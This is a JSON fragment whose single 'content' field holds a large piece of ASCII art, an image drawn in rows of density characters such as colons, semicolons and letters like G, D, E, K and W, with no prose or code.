    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n 